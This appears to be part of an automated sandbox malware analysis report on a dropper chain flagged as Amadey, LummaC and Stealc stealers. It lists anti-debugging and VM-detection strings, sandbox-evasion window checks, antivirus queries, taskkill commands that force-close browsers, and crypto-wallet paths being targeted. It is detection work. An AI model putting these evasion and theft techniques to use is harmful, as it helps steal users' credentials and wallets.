Source: firefox.exe, 0000001B.00000002.4134376020.0000015865840000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
Source: 95716ab34b.exe, 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaree
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000003.1708932939.0000000001463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1708932939.0000000001463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: firefox.exe, 00000020.00000002.4131422485.000001E59D950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: skotes.exe, 00000001.00000002.4125953061.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 95716ab34b.exe, 0000001D.00000002.4126851506.000000000179B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH}
Source: firefox.exe, 00000020.00000002.4131422485.000001E59D950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb8
Source: firefox.exe, 0000001A.00000002.4142730954.0000025394266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllEZ
Source: skotes.exe, 00000001.00000002.4125953061.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001826000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000000B.00000002.3970121321.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000002.4125799702.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000002.4125799702.000000000146B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4142730954.0000025394266000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4121956360.0000015864E9A000.00000004.00000020.00020000.00000000.sdmp, 95716ab34b.exe, 0000001D.00000002.4126851506.00000000017CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4121227951.000001E59D0DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 95716ab34b.exe, 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\-
Source: firefox.exe, 0000001A.00000002.4220952052.000002539DEC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4131237535.0000015865414000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001B.00000002.4121956360.0000015864E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWIz
Source: 95716ab34b.exe, 0000000B.00000002.3970121321.0000000001826000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]
Source: file.exe, 00000000.00000002.1717941064.0000000000A1F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1784987023.00000000005CF000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2356771138.00000000005CF000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000008.00000002.2948268189.00000000005CF000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000009.00000002.3549309707.00000000005CF000.00000040.00000001.01000000.00000007.sdmp, 11caca4b5d.exe, 0000000A.00000002.4119452427.0000000000E5D000.00000040.00000001.01000000.00000009.sdmp, 95716ab34b.exe, 0000000B.00000002.3963656738.0000000000EF7000.00000040.00000001.01000000.0000000A.sdmp, 11caca4b5d.exe, 0000000C.00000002.4118341426.0000000000E5D000.00000040.00000001.01000000.00000009.sdmp, 95716ab34b.exe, 0000001D.00000002.4119544880.0000000000EF7000.00000040.00000001.01000000.0000000A.sdmp, d764c66987.exe, 0000001E.00000002.4125595982.000000000110B000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001A.00000002.4142730954.0000025394266000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4134376020.0000015865840000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4131422485.000001E59D950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000001A.00000002.4142730954.0000025394230000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW }&

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_052003FC Start: 052004A3 End: 0520043B	0_2_052003FC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_04E6052A Start: 04E6054E End: 04E60505	1_2_04E6052A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_04E60655 Start: 04E6065F End: 04E60669	1_2_04E60655

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05200D04 rdtsc

0_2_05200D04

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009BEAA2 BlockInput,

13_2_009BEAA2

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_00972622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_00972622

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_009442DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0041652B mov eax, dword ptr fs:[00000030h]	1_2_0041652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0041A302 mov eax, dword ptr fs:[00000030h]	1_2_0041A302
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00964CE8 mov eax, dword ptr fs:[00000030h]	13_2_00964CE8

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009A0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

13_2_009A0B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00972622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00972622
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_0096083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0096083F
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009609D5 SetUnhandledExceptionFilter,	13_2_009609D5
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_00960C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00960C21

Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 412, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

13_2_009A1201

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_00982BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_00982BA5

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009AB226 SendInput,keybd_event,

13_2_009AB226

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009C22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

13_2_009C22DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe "C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

13_2_009A0B62

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009A1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_009A1663

Source: 4feecdc349.exe, 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmp, random[1].exe2.1.dr, 4feecdc349.exe.1.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 4feecdc349.exe	Binary or memory string: Shell_TrayWnd
Source: firefox.exe, 0000001A.00000002.4128744898.0000009DF5C7B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 00000009.00000002.3549309707.00000000005CF000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: YProgram Manager
Source: 95716ab34b.exe, 95716ab34b.exe, 0000001D.00000002.4119544880.0000000000EF7000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 60Program Manager
Source: 11caca4b5d.exe, 11caca4b5d.exe, 0000000A.00000002.4119452427.0000000000E5D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 3Program Manager
Source: d764c66987.exe, 0000001E.00000002.4126625732.0000000001150000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: , Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 1_2_003FD3E2 cpuid

1_2_003FD3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 1_2_003FCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_003FCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 1_2_003E65E0 LookupAccountNameA,

1_2_003E65E0

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_0097BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

13_2_0097BB6F

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_009442DE

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 11caca4b5d.exe, 0000000A.00000002.4141975457.0000000005A54000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.4057745507.0000000005A54000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.4045158335.0000000005A54000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 8.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1717875712.0000000000831000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3549151435.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3508241708.0000000004930000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2355092145.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1784355732.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1666914132.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1744049993.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2312226443.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2907663764.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1726182469.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2948182852.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 4feecdc349.exe PID: 2892, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 3288, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3962571157.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.4046194652.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3917037714.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4117545472.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 11caca4b5d.exe, 0000000A.00000003.3989907402.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTCu
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.0000000001250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 11caca4b5d.exe, 0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus
Source: 11caca4b5d.exe, 0000000A.00000003.3930130201.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
